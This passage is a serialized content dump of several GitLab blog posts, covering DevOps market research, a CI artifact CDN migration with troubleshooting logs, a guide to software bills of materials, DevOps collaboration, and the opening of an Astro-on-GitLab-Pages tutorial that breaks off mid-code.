Them","en-us/blog/new-openssl-30-vulnerabilities-what-you-need-to-know-to-find-and-fix-them.yml","en-us/blog/new-openssl-30-vulnerabilities-what-you-need-to-know-to-find-and-fix-them",{"_path":11952,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11953,"content":11959,"config":11964,"_id":11966,"_type":16,"title":11967,"_source":17,"_file":11968,"_stem":11969,"_extension":20},"/en-us/blog/a-snapshot-of-modern-devops-practices-today",{"title":11954,"description":11955,"ogTitle":11954,"ogDescription":11955,"noIndex":6,"ogImage":11956,"ogUrl":11957,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11957,"schema":11958},"A snapshot of modern DevOps practices today","We consulted three market research firms for their take on DevOps today and in the future. Here's what they said about modern DevOps practices.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668495/Blog/Hero%20Images/how-you-can-help-shape-the-future-of-securing-applications-at-gitlab.jpg","https://about.gitlab.com/blog/a-snapshot-of-modern-devops-practices-today","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A snapshot of modern DevOps practices today\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-10-31\",\n      }",{"title":11954,"description":11955,"authors":11960,"heroImage":11956,"date":11961,"body":11962,"category":962,"tags":11963},[11618],"2022-10-31","At almost 15 years old, DevOps has been around long enough to settle in and take shape at organizations around the world. But what do “modern” DevOps practices look like today, and how are they likely to change? Three market research firms gave us their take on the current generation of DevOps, and what’s coming next. \n\n## BizDevOps anyone?\n\nIf there’s one clear sign of DevOps maturity, it’s the fact that the business side has seamlessly inserted itself into what was forever a bastion of technologies and tech-driven practices. With some of the [bigger DevOps battles well in hand](/developer-survey/) (broader adoption of automation, more frequent deployments, and increased software testing), teams are able to bring in new metrics, including user experience, customer satisfaction, and other business drivers. 451 Research found business objectives and outcomes are the leading priority (51%) for enterprises as they refine, improve, and expand their DevOps implementations. In fact, 451 said business metrics are now almost as important a measure of DevOps success as technical achievements like application performance and quality.(1)\n\nFurther underscoring the way modern DevOps practices have broadened their focus is the increasing interest in value stream management, which looks at the software development lifecycle from idea generation to customer delivery and satisfaction level. Research firm IDC, in its \"Accelerated App Delivery Survey 2021\" (U.S. Results)(3), published January 2022, said value stream management is going to be one of the top investment priorities for DevOps teams this year. \n\n## DevOps and security\n\nBut the focus on business objectives doesn’t mean that work on the tech side of DevOps is done; in fact, DevSecOps and security in DevOps in general continue to be a tricky balance for many teams. IDC, also in its \"Accelerated App Delivery Survey 2021\" (referenced above), notes the cognitive dissonance of DevOps teams saying security is a top priority and feeling confident about their security posture while at the same time acknowledging DevSecOps is only in use for 25% or less of application development on average. \n\nForrester Research, in its \"State of Application Security, 2022\" (May 9, 2022), said: “Savvy security professionals know that to drive application security tool adoption, they must engage developers in the technology decision-making process. With both tooling\ndecision-making and budget moving to development, security pros must redefine\ntheir role in application security and take advantage of the opportunity to become\nmore strategic.”\n\n## The role of DevOps platforms\n\nSecurity is an ongoing substantive issue on DevOps teams but there are also a number of smaller, but still significant, problems teams need to solve, including [toolchain debt](/blog/battling-toolchain-technical-debt/), the challenge of scaling, and the need for a product and platform structure. DevOps platforms can help with all of those challenges.\n\nFor starters, it’s nearly impossible to scale DevOps throughout an enterprise without a DevOps platform supporting the effort. A platform provides a single source of truth for all teams, eliminates handoffs, and allows visibility into every stage of the process. A DevOps platform also helps eliminate the inefficiencies caused by too many tools and toolchains. Our [2022 Global DevSecOps Survey](/developer-survey/) found 69% of teams want to streamline their toolchains to reduce time spent on maintenance/integration and improve developer quality of life.\n\nWhat does a DevOps platform look like in 2022? Forrester Research, in \"The Forrester Guide to DevOps 2022\" (September 14, 2022) said modern DevOps platforms are “integrated and automated; create a software automation abstraction layer; use SLAs to drive continuous improvement; and have cloud platforms as deployment targets of choice.”\n\n## Culture (still) matters\n\nIn the early days of DevOps the talk was **all** about the culture challenge of bringing the vastly different dev and ops teams together. Somewhat surprisingly, market research firms are still talking about culture today, perhaps because the definition of DevOps has expanded to include more than just dev, ops, and even sec: BizDevSecUXTestPlatformLowCodeOps... ad infinitum, apparently.\n\nOrganizations wanting DevOps success must continue to push the importance of culture, collaboration, and communication, IDC reported in its \"Accelerated App Delivery Survey 2021.\" Forrester Research offered a stark assessment in \"The State of DevOps, 2022\" (June 27, 2022): “Never underestimate the importance of cultural transformation. Laggard organizations punish the bearers of bad tidings and don’t understand failure as a learning opportunity. Exorcizing these toxic attitudes is far easier said than done.”\n\n## Modern DevOps means modern technologies\n\nModern DevOps teams continue to incorporate new technologies into their practices. Two standouts: [AI/ML](/blog/why-ai-in-devops-is-here-to-stay/) and [GitOps](/blog/the-ultimate-guide-to-gitops-with-gitlab/). 451 points to rising interest in AIOps specifically to address the “too much information” problem with logs and metrics.(2) \n\n## Looking forward\n\nChange is of course a given and it’s safe to say that DevOps teams will face new organizational structures, new teammates, and complicated technology adoption challenges.\n\n### Cross-functional teams organized around products\n\nAfter years of bringing dev and ops together, some believe it’s time to reach out further. Forrester, in \"The Future of DevOps\" (June 8, 2022), said: “In the future, cross-functional teams, from business stakeholders to operational site reliability engineers (SREs), will organize around products, delivering business value via DevOps platforms.”\n\n### Wider and deeper platforms\n\nAnd those DevOps platforms “will consolidate, extend and deepen,” Forrester predicts in \"The Future of DevOps,\" cited above.\n\n### Introducing new teammates\n\nRoughly 66% of our 2022 DevSecOps Survey respondents told us their DevOps practices include a low code/no code tool. And that’s going to spread to all teams in the coming years. “Citizen development is a logical evolution of how enterprises deliver apps and enable digital business,” Forrester Research said in \"The Future of DevOps.\"\n\n### DevOps on the edge\t\n\nWith the Internet of Things and 5G becoming larger on the horizon, it’s not much of a stretch to predict modern DevOps teams will need to be able to support products with data literally [“on the edge.”](https://www.techtarget.com/searchdatacenter/definition/edge-computing) \n\n- [1] 451 Research, a part of S&P Global Market Intelligence, Mature DevOps Means Business, Jay Lyman, Senior Research Analyst, June 2022\n- [2] 451 Research, a part of S&P Global Market Intelligence, Business Objectives and Benefits Become Top Priority - Highlights from VotE DevOps, Jay Lyman, Senior Research Analyst, April 2022\n- [3] IDC, U.S. Accelerated Application Delivery Survey, Doc #US47924622, Jan 2022\n",[8570,2368,4103],{"slug":11965,"featured":6,"template":678},"a-snapshot-of-modern-devops-practices-today","content:en-us:blog:a-snapshot-of-modern-devops-practices-today.yml","A Snapshot Of Modern Devops Practices Today","en-us/blog/a-snapshot-of-modern-devops-practices-today.yml","en-us/blog/a-snapshot-of-modern-devops-practices-today",{"_path":11971,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11972,"content":11978,"config":11983,"_id":11985,"_type":16,"title":11986,"_source":17,"_file":11987,"_stem":11988,"_extension":20},"/en-us/blog/gitlab-com-artifacts-cdn-change",{"title":11973,"description":11974,"ogTitle":11973,"ogDescription":11974,"noIndex":6,"ogImage":11975,"ogUrl":11976,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11976,"schema":11977},"GitLab.com CI artifacts to use Google Cloud CDN","GitLab CI users might benefit from faster downloads from edge caches closest to the user's location.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663009/Blog/Hero%20Images/ESA_case_study_image.jpg","https://about.gitlab.com/blog/gitlab-com-artifacts-cdn-change","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab.com CI artifacts to use Google Cloud CDN\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Stan Hu\"}],\n        \"datePublished\": \"2022-10-25\",\n      }",{"title":11973,"description":11974,"authors":11979,"heroImage":11975,"date":11980,"body":11981,"category":736,"tags":11982},[731],"2022-10-25","\n\nOver the next month and going forward, requests for GitLab CI artifacts downloads may be redirected\nto [Google Cloud CDN](https://cloud.google.com/cdn) instead of\n[Google Cloud Storage](https://cloud.google.com/storage). We anticipate that GitLab CI users may benefit from faster\ndownloads from edge caches closest to your location.\n\n**Disclaimer:** This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab.\n\n## How will this work?\n\nCurrently when a CI runner or other client [downloads a CI artifact](https://docs.gitlab.com/ee/api/job_artifacts.html),\nGitLab.com responds with a 302 redirect to a time-limited, pre-signed URL with a domain of `storage.googleapis.com`.\n\nAfter this change, the domain will change to `cdn.artifacts.gitlab-static.net`.\n\nThe exception is for requests originating from within the Google Cloud\nPlatform. These will continue to be redirected to Cloud Storage.\n\n## When will this change occur?\n\nWe expect to start the transition around the end of October 2022. This will be a\ngradual transition using a percentage-based rollout, so we anticipate that you will see\nan increasing number of your requests redirected to Google Cloud\nCDN instead of Google Cloud Storage until all of the requests are served by the\nformer.\n\nYou can follow along with the progress of this initiative and raise any\nquestions in [this issue](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/7894). We\nwill post more detailed timelines in that issue as we refine the rollout\nplan.\n\n## How does this change impact you?\n\nSince GitLab CI runners and certain clients automatically handle URL\nredirections already, we expect that downloads for CI artifacts should\ncontinue to work without any action.\n\nWe encourage upgrading to the latest version of the GitLab Runner in\norder to take advantage of the CDN. This feature was [introduced in\nGitLab Runner v13.1.0](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/2115).\nIf a runner cannot download from the CDN host, it will retry without the\nCDN and download the artifact directly through GitLab.com.\n\nHowever, if you have a firewall that only allows\n`storage.googleapis.com`, you will need to add\n`cdn.artifacts.gitlab-static.net` (34.110.204.38) to the allow list.\n\n### What do these warning messages mean?\n\nWith this change, users may see warning messages in the CI job logs:\n\n#### read: connection reset by peer\n\n```plaintext\nERROR: Downloading artifacts from coordinator... error couldn't execute GET against https://gitlab.com/api/v4/jobs/\u003Cjob id>/artifacts?direct_download=true: Get \"https://cdn.artifacts.gitlab-static.net/...\nread tcp 172.17.0.2:59332->34.110.204.38:443: read: connection reset by peer  id=1234 token=\u003Csome token>\nWARNING: Retrying...                                error=invalid argument\nDownloading artifacts from coordinator... ok        id=1234 responseStatus=200 OK token=\u003Csome token>\n```\n\nThis error suggests the runner was not able to access the CDN. Check\nyour network firewalls and allow access to the IP 34.110.204.38.\n\nNote that there are two `Downloading artifacts from coordinator`\nmessages. The second attempt succeeded because the runner retried\nwithout the CDN.\n\n#### x509: certificate signed by unknown authority\n\n```plaintext\nERROR: Downloading artifacts from coordinator... error couldn't execute GET against https://gitlab.com/api/v4/jobs/\u003Cjob id>/artifacts?direct_download=true: Get \"https://storage.googleapis.com/gitlab-gprd-artifacts/...: x509: certificate signed by unknown authority  id=1234 token=\u003Csome token>\n```\n\nIf you see this error with a Windows runner, upgrade to v15.5.0 since it\nis compiled with [Go 1.18](https://tip.golang.org/doc/go1.18), which\nsupports [using the system certificate pool](https://github.com/golang/go/issues/16736).\n\nOtherwise, this error suggests the runner is configured with [custom SSL certificates](https://docs.gitlab.com/runner/configuration/tls-self-signed.html).\nYou may need to update your certificates or include the certificates directly in the bundle.\n\n#### Authentication required\n\nSome clients may report a 401 error with `Authentication required` after\nrequesting to download a job artifact:\n\n```xml\n\u003C?xml version='1.0' encoding='UTF-8'?>\u003CError>\u003CCode>AuthenticationRequired\u003C/Code>\u003CMessage>Authentication required.\u003C/Message>\u003C/Error>\n```\n\nThis error message suggests the HTTP client is following the 302\nredirect and sending the `Authorization` header with the redirected\nURL. This is a known issue with Java HTTP clients.\n\nUpdate your client to drop the `Authorization` header the\nredirect. Google Cloud Storage ignores this header if it were set, but\nCloud CDN rejects requests that have the `Authorization` header set.\n",[4103,676,2705,232,1384],{"slug":11984,"featured":6,"template":678},"gitlab-com-artifacts-cdn-change","content:en-us:blog:gitlab-com-artifacts-cdn-change.yml","Gitlab Com Artifacts Cdn Change","en-us/blog/gitlab-com-artifacts-cdn-change.yml","en-us/blog/gitlab-com-artifacts-cdn-change",{"_path":11990,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11991,"content":11997,"config":12002,"_id":12004,"_type":16,"title":12005,"_source":17,"_file":12006,"_stem":12007,"_extension":20},"/en-us/blog/the-ultimate-guide-to-sboms",{"title":11992,"description":11993,"ogTitle":11992,"ogDescription":11993,"noIndex":6,"ogImage":11994,"ogUrl":11995,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11995,"schema":11996},"The ultimate guide to SBOMs","Learn what a software bill of materials is and why it has become an integral part of modern software development.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664571/Blog/Hero%20Images/blog-image-template-1800x945__8_.png","https://about.gitlab.com/blog/the-ultimate-guide-to-sboms","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The ultimate guide to SBOMs\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-10-25\",\n      }",{"title":11992,"description":11993,"authors":11998,"heroImage":11994,"date":11980,"body":11999,"category":674,"tags":12000,"updatedDate":12001},[3281],"In today's rapidly evolving digital landscape, the emphasis on application security within the software supply chain has never been more critical. The integration of upstream dependencies into software requires transparency and security measures that can be complex to implement and manage. This is where a software bill of materials (SBOM) becomes indispensable.\n\nServing as a comprehensive list of ingredients that make up software components, an SBOM illuminates the intricate web of libraries, tools, and processes used across the development lifecycle. Coupled with vulnerability management tools, an SBOM not only reveals potential vulnerabilities in software products but also paves the way for strategic risk mitigation. Our guide dives deep into SBOMs, their pivotal role in a multifaceted [DevSecOps](/topics/devsecops/) strategy, and strategies for improving your application's SBOM health — all aimed at fortifying your organization's cybersecurity posture in a landscape full of emerging threats.\n\nYou'll learn:\n- [What is an SBOM?](#what-is-an-sbom%3F)\n- [Why SBOMs are important](#why-sboms-are-important)\n- [Types of SBOM data exchange standards](#types-of-sbom-data-exchange-standards)\n- [Benefits of pairing SBOMs and software vulnerability management](#benefits-of-pairing-sboms-and-software-vulnerability-management)\n- [GitLab and dynamic SBOMs](#gitlab-and-dynamic-sboms)\n    - [Scale SBOM generation and management](#scale-sbom-generation-and-management)\n    - [Ingest and merge SBOMs](#ingest-and-merge-sboms)\n    - [Accelerate mitigation for better SBOM health](#accelerate-mitigation-for-better-sbom-health)\n    - [Continuous SBOM analysis](#continuous-sbom-analysis)\n    - [Building trust in SBOMs](#building-trust-in-sboms)\n - [The future of GitLab SBOM functionality](#the-future-of-gitlab-sbom-functionality)\n - [Get started with SBOMs](#get-started-with-sboms)\n - [SBOM FAQ](#sbom-faq)\n\n## What is an SBOM?\n\nAn SBOM is a nested inventory or [list of ingredients that make up software components](https://www.cisa.gov/sbom#). In addition to the components themselves, SBOMs include critical information about the libraries, tools, and processes used to develop, build, and deploy a software artifact.\n\nThe SBOM concept has existed [for more than a decade](https://spdx.dev/about/). However, as part of an effort to implement the National Cyber Strategy that the White House released in 2023, [CISA’s Secure by Design framework](https://www.cisa.gov/securebydesign) is helping guide software manufacturers  to adopt secure-by-design principles and integrate cybersecurity into their products. The U.S. government [issued best practices](/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab/) that are driving application developers selling to the public sector to include SBOMs with their software packages. The private sector is not far behind, sending SBOMs on the path to ubiquity. \n\nAlthough SBOMs are often created with stand-alone software, platform companies like GitLab are integrating SBOM generation early and deep in the DevSecOps workflow.\n\n![supply chain security sdlc](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673653/Blog/Content%20Images/supply_chain_security_sdlc.png)\n\n## Why SBOMs are important\n\nModern software development is laser-focused on delivering applications at a faster pace and in a more efficient manner. This can lead to developers incorporating code from open source repositories or proprietary packages into their applications.  According to Synopsys’s 2024 Open Source Security and Risk Analysis report, which consolidated findings from more than 1,000 commercial codebases across 17 industries in 2023, 96% of the total codebases contained open source and 84% of codebases assessed for risk contained vulnerabilities.\n\nPulling in code from unknown repositories increases the potential for vulnerabilities that can be exploited by hackers. In fact, the [2020 SolarWinds attack](https://www.techtarget.com/whatis/feature/SolarWinds-hack-explained-Everything-you-need-to-know) was sparked by the activation of a malicious injection of code in a package used by SolarWinds’ Orion product. Customers across the software supply chain were significantly impacted. Other attacks, including the log4j vulnerability that impacted a number of commercial software vendors, cemented the need for a deep dive into application dependencies, including containers and infrastructure, to be able to assess [risk throughout the software supply chain](https://about.gitlab.com/blog/the-ultimate-guide-to-software-supply-chain-security/).\n\nThere is also a cost component to finding and remediating a software security vulnerability that levels up the need for SBOMs, as well as damage to a company’s reputation that a software supply chain attack can incur. SBOMs give you insight into your dependencies and can be used to look for vulnerabilities, and licenses that don’t comply with internal policies.\n\n## Types of SBOM data exchange standards\n\nSBOMs work best when their generation and interpretation of information such as name, version, packager, and more are able to be automated. This happens best if all parties use a standard data exchange format.\n\nThere are two main types of SBOM data exchange standards in use today:\n- [OWASP CycloneDX](https://cyclonedx.org/capabilities/sbom/)\n- [SPDX](https://spdx.dev/)\n\nGitLab uses CycloneDX for its SBOM generation because the standard is prescriptive and user-friendly, can simplify complex relationships, and is extensible to support specialized and future use cases. In addition, [cyclonedx-cli](https://github.com/CycloneDX/cyclonedx-cli#convert-command) and [cdx2spdx](https://github.com/spdx/cdx2spdx) are open source tools that can be used to convert CycloneDX files to SPDX if necessary.\n\n## Benefits of pairing SBOMs and software vulnerability management\n\nSBOMs are highly beneficial for DevSecOps teams and software consumers for several reasons:\n* They enable a standard approach to understanding what additional software components are in an application and where they are declared.\n* They provide ongoing visibility into the history of an application’s creation, including details about third-party code origins and host repositories.\n* They provide a deep level of security transparency into both first-party developed code and adopted open source software.\n* The details that SBOMs offer enable a DevOps team to identify vulnerabilities, assess the potential risks, and then mitigate them. \n* SBOMs can deliver the transparency that application purchasers now demand.\n\n## GitLab and dynamic SBOMs\n\nFor SBOMs to be fully impactful, organizations must be able to automatically generate them, connect them with application security scanning tools, integrate the vulnerabilities and licenses into a dashboard for easy comprehension and actionability, and update them continuously. GitLab supports all of these goals.\n\n![Dynamic SBOM management](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673653/Blog/Content%20Images/Screenshot_2024-05-03_at_10.53.28_AM.png)\n\n### Scale SBOM generation and management\nTo comply with internal policies and regulations, it is key to have accurate and comprehensive SBOMs that cover open source, third-party, and proprietary software. To effectively manage SBOMs for each component and product version, a streamlined process is required for creating, merging, validating and approving SBOMs. GitLab’s [Dependency List feature](https://docs.gitlab.com/ee/user/application_security/dependency_list/) aggregates known vulnerability and license data into a single view within the GitLab user interface. Dependency graph information is also generated as part of the dependency scanning report. This empowers users to gain comprehensive insights into dependencies and risk within their projects or across groups of projects. Additionally, a JSON CycloneDX formatted artifact can be produced in the CI pipeline. This API introduces a more nuanced and customizable approach to SBOM generation. SBOMs are exportable from the UI, a specific pipeline or project, or via the GitLab API. \n\n### Ingest and merge SBOMs\nGitLab can ingest third-party SBOMs, providing a deep level of security transparency into both third-party developed code and adopted open source software. With GitLab, you can use a [CI/CD](https://about.gitlab.com/topics/ci-cd/) job to seamlessly merge multiple CycloneDX SBOMs into a single SBOM. Using implementation-specific details in the CycloneDX metadata of each SBOM, such as the location of build and lock files, duplicate information is removed from the resulting merged file. This data is also augmented automatically with license and vulnerability information for the components inside the SBOM.\n\n### Accelerate mitigation for better SBOM health\nBuilding high-quality products faster requires actionable security findings so developers can address the most critical weaknesses. GitLab helps secure your supply chain by [scanning for vulnerabilities](https://docs.gitlab.com/ee/user/application_security/secure_your_application.html) in source code, containers, dependencies, and running applications. GitLab offers full security scanner coverage from Static Application Security Testing (SAST), Dynamic Application Security Testing (DAST), container scanning, and software composition analysis (SCA) features to help you achieve full coverage against emerging threat vectors.\nTo help developers and security engineers better understand and remediate vulnerabilities more efficiently, [GitLab Duo](https://about.gitlab.com/gitlab-duo/) Vulnerability Explanation, an AI-powered feature, provides an explanation about a specific vulnerability, how it can be exploited, and, most importantly, a recommendation on how to fix the vulnerability. When combined with GitLab Duo Vulnerability Resolution, DevSecOps teams can intelligently identify, analyze, and fix vulnerabilities in just a matter of clicks.\n\nThe platform also supports creation of new policies (and [compliance enforcement](https://docs.gitlab.com/ee/administration/compliance.html)) based on newly detected vulnerabilities. \n\n### Continuous SBOM analysis \nGitLab Continuous Vulnerability Scanning triggers a scan on all projects where either container scanning, dependency scanning, or both, are enabled independent of a pipeline.  When new Common Vulnerabilities and Exposures (CVEs) are reported to the National Vulnerability Database (NVD), users don’t need to re-run their pipelines to get the latest feeds. GitLab’s Vulnerability Research Team adds them to GitLab’s Advisory Database and those advisories are automatically reported up to GitLab as vulnerabilities. This makes GitLab’s SBOM truly dynamic in nature. \n\n### Building trust in SBOMs\nOrganizations that require [compliance functionality](https://about.gitlab.com/solutions/compliance/) can use GitLab to [generate attestation for all build artifacts](/blog/securing-the-software-supply-chain-through-automated-attestation/) produced by the GitLab Runner. The process is secure because it is produced by the GitLab Runner itself with no handoff of data to an external service.\n\n## The future of GitLab SBOM functionality\n\nSoftware supply chain security continues to be a critical topic in the cybersecurity and software industry due to frequent attacks on large software vendors and the focused efforts of attackers on the open source software ecosystem. And although the SBOM industry is evolving quickly, there are still concerns around how SBOMs are generated, the frequency of that generation, where they are stored, how to combine multiple SBOMs for complex applications, how to analyze them, and how to leverage them for application health.\n\nGitLab has made SBOMs an integral part of its [software supply chain direction](https://about.gitlab.com/direction/supply-chain/) and continues to improve upon its SBOM capabilities within the DevSecOps platform, including planning new features and functionality. Recent enhancements to SBOM capabilities include the automation of attestation, digital signing for build artifacts, and support for externally generated SBOMs.\n\nGitLab has also established a robust [SBOM Maturity Model](https://handbook.gitlab.com/handbook/security/security-assurance/dedicated-compliance/sbom-plan/) within the platform that involves steps such as automatic SBOM generation, sourcing SBOMs from the development environment, analyzing SBOMs for artifacts, and advocating for the digital signing of SBOMs. GitLab also plans to add automatic digital signing of build artifacts in future releases. \n\n## Get started with SBOMs\n\nThe demand for SBOMs is already high. Government agencies increasingly recommend or require SBOM creation for software vendors, federal software developers, and even open source communities.\n\n> To get ahead of this requirement, check out the SBOM capabilities for GitLab Ultimate in [GitLab’s DevSecOps platform](https://gitlab.com/-/trials/new).\n\n## SBOM FAQ\n\n**What is an SBOM?**\n\nAn SBOM is a detailed inventory that lists all components, libraries, and tools used in creating, building, and deploying software. This comprehensive list goes beyond mere listings to include vital information about code origins, thus promoting a deeper understanding of an application's makeup and potential vulnerabilities.\n\n**Why are SBOMs important?**\n\nSBOMs are crucial for several reasons. They provide:\n- Insight into dependencies: Understanding what makes up your software helps identify and mitigate risks associated with third-party components.\n- Enhanced security: With detailed visibility into application components, organizations can pinpoint vulnerabilities quickly and take steps to address them.\n- Regulatory compliance: Increasingly, regulations and best practices recommend or require an SBOM for software packages, particularly for those in the public sector.\n- Streamlined development: Developers can lean on an SBOM for insights into used libraries and components, saving time and reducing errors in the development cycle.\n\n**What standards are used for SBOM data exchange?**\n\nThere are two predominant standards:\n- CycloneDX: Known for its user-friendly approach, CycloneDX simplifies complex relationships between software components and supports specialized use cases.\n- SPDX: Another widely used framework for SBOM data exchange, providing detailed information about components within the software environment.\n\nGitLab specifically employs CycloneDX for its SBOM generation because of its prescriptive nature and extensibility to future needs.\n\n**What is GitLab’s approach to SBOMs?**\n\nGitLab emphasizes the creation of dynamic SBOMs that can be:\n- Automatically generated: Ensuring up-to-date information on software composition.\n- Integrated with tools: Connecting to vulnerability scanning tools for thorough risk assessment.\n- Easily managed: Supporting ingestion and merging of SBOMs for comprehensive analysis.\n- Continuously analyzed: Offering ongoing scanning of projects to detect new vulnerabilities as they emerge.\n\n**How can I start implementing SBOMs in my organization?**\n\nFor organizations ready to adopt SBOMs, GitLab’s Ultimate package provides a robust platform for generating and managing SBOMs within a DevSecOps workflow. By leveraging GitLab’s tools, teams can ensure compliance, enhance security, and optimize development practices.\n\nThe increasing demand for SBOMs reflects the growing emphasis on software security and supply chain integrity. By integrating SBOM capabilities, organizations can better protect themselves against vulnerabilities and comply with emerging regulations.\n\n> [Try GitLab Ultimate free for 30 days today.](https://about.gitlab.com/free-trial/devsecops/)\n\n_Disclaimer This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._",[674,943,1268,815,185],"2024-05-02",{"slug":12003,"featured":6,"template":678},"the-ultimate-guide-to-sboms","content:en-us:blog:the-ultimate-guide-to-sboms.yml","The Ultimate Guide To Sboms","en-us/blog/the-ultimate-guide-to-sboms.yml","en-us/blog/the-ultimate-guide-to-sboms",{"_path":12009,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12010,"content":12016,"config":12020,"_id":12022,"_type":16,"title":12023,"_source":17,"_file":12024,"_stem":12025,"_extension":20},"/en-us/blog/why-devops-collaboration-continues-to-be-important",{"title":12011,"description":12012,"ogTitle":12011,"ogDescription":12012,"noIndex":6,"ogImage":12013,"ogUrl":12014,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12014,"schema":12015},"Why DevOps collaboration continues to be important","Modern DevOps isn't just about tech adoption and new processes. DevOps collaboration is going to play a key role. Here's why.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663397/Blog/Hero%20Images/logoforblogpost.jpg","https://about.gitlab.com/blog/why-devops-collaboration-continues-to-be-important","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why DevOps collaboration continues to be important\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-10-25\",\n      }",{"title":12011,"description":12012,"authors":12017,"heroImage":12013,"date":11980,"body":12018,"category":962,"tags":12019},[11618],"\nIt’s tempting to think the concept of DevOps collaboration is something no one needs to talk about anymore. After all, the methodology has been around for nearly 15 years, is in widespread use, and has clearly proven to be successful at getting safer software out the door faster. Haven’t we figured out DevOps collaboration by now?\n\nThe answer is no, at least according to our [2022 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2022/) and to industry experts looking at the future of DevOps.\n\nFor starters, dev and ops respondents to our survey told us programming languages and soft skills like collaboration are going to be most important for their careers going forward. DevOps collaboration was the second most important skill for sec pros surveyed. These results were far from a one-off: In our [2020 survey](/images/developer-survey/gitlab-devsecops-2021-survey-results.pdf), dev, sec, and ops were unanimous that “soft skills,” including DevOps collaboration, were the most critical for future careers. In [2021](/images/developer-survey/gitlab-devsecops-2021-survey-results.pdf), sec and ops continued to prioritize DevOps collaboration for the future, while devs opted for AI/ML. \n\nThis year, we asked over 5,000 survey takers what would be most important to their careers, but we didn’t ask *why* it would be so important. A look at some recent thought leadership around DevOps collaboration sheds some light.\n\nAccording to [an article in SDX Central](https://www.sdxcentral.com/articles/analysis/devops-its-about-the-people/2022/07/), pundits think collaboration is “critical for DevOps success” today and in the future. An [article in Tech Beacon](https://techbeacon.com/app-dev-testing/future-devops) goes further, suggesting DevOps will embrace business metrics as a measure of success going forward, and, as such, will require levels of cross-functional collaboration not seen before. \n\nIn other words, as DevOps expands beyond a technology goal (develop software) to a business goal (ensure customer satisfaction or business profitability), more teams will be seated at the table. The more people involved, the more DevOps collaboration will be critical to the future.\n\nWe’d like to know how DevOps collaboration works on _your_ team. Our 12-question survey will take you less than four minutes! [Take the survey!](/blog/take-our-survey-on-collaborative-software-development/)\n",[4103,8570,2368],{"slug":12021,"featured":6,"template":678},"why-devops-collaboration-continues-to-be-important","content:en-us:blog:why-devops-collaboration-continues-to-be-important.yml","Why Devops Collaboration Continues To Be Important","en-us/blog/why-devops-collaboration-continues-to-be-important.yml","en-us/blog/why-devops-collaboration-continues-to-be-important",{"_path":12027,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12028,"content":12034,"config":12039,"_id":12041,"_type":16,"title":12042,"_source":17,"_file":12043,"_stem":12044,"_extension":20},"/en-us/blog/publishing-an-astro-site-with-pages",{"title":12029,"description":12030,"ogTitle":12029,"ogDescription":12030,"noIndex":6,"ogImage":12031,"ogUrl":12032,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12032,"schema":12033},"How to publish your Astro Site with GitLab Pages","Learn how to deploy an Astro Site with GitLab Pages.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682473/Blog/Hero%20Images/shot-by-cerqueira-0o_GEzyargo-unsplash.jpg","https://about.gitlab.com/blog/publishing-an-astro-site-with-pages","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to publish your Astro Site with GitLab Pages\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Janis Altherr\"}],\n        \"datePublished\": \"2022-10-24\",\n      }",{"title":12029,"description":12030,"authors":12035,"heroImage":12031,"date":12036,"body":12037,"category":734,"tags":12038},[4455],"2022-10-24","\n\nAstro is an amazing new framework to create content-focused static sites and GitLab Pages is a great way to deploy a site built with Astro. Here's a step-by-step guide on how to build and deploy an Astro Site with GitLab Pages.\n\n## Create the project locally\n\nFirst, create the Astro Project locally using the Astro CLI.\n\nNote: Even though we're offering a [project template](https://gitlab.com/pages/astro),\nwe recommend using the CLI locally to scaffold your project. This ensures you can create your project with the latest defaults.\n\n```shell\nnpm create astro@latest\n```\n\nNow follow the CLI instructions. As part of the setup, Astro will create the\nproject folder for you. During the course of the setup Astro will ask whether you'd like to initialize a new Git repository. Answer this with `y` (yes).\n\nOnce the Astro CLI is done scaffolding your project, `cd` into the new folder:\n\n```shell\ncd \u003Cyour-project>\n```\n\n## Configure Astro for GitLab Pages\n\nAstro comes with a few defaults that are incompatible with GitLab Pages. So before continuing, we need to set up a compatible config.\nEdit your `astro.config.mjs` to include the following:\n\n```javascript\n// astro.config.mjs\nimport { defineConfig } from 